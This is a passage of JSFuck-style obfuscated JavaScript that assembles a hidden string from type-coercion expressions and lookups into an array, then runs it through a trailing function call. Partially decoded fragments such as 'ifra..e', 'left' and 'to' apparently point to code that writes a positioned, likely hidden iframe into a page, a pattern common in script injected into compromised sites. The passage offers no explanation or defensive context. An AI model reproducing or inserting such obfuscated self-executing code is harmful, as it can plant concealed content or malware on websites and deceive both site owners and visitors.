3]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[48]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[46]+$[49]+$[23]+$[23]+$[23]+$[23]+$[23]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[46]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[24]+$[46]+$[23]+$[5]+$[35]+$[50]+$[34]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[50]+$[9]+$[6]+$[51])();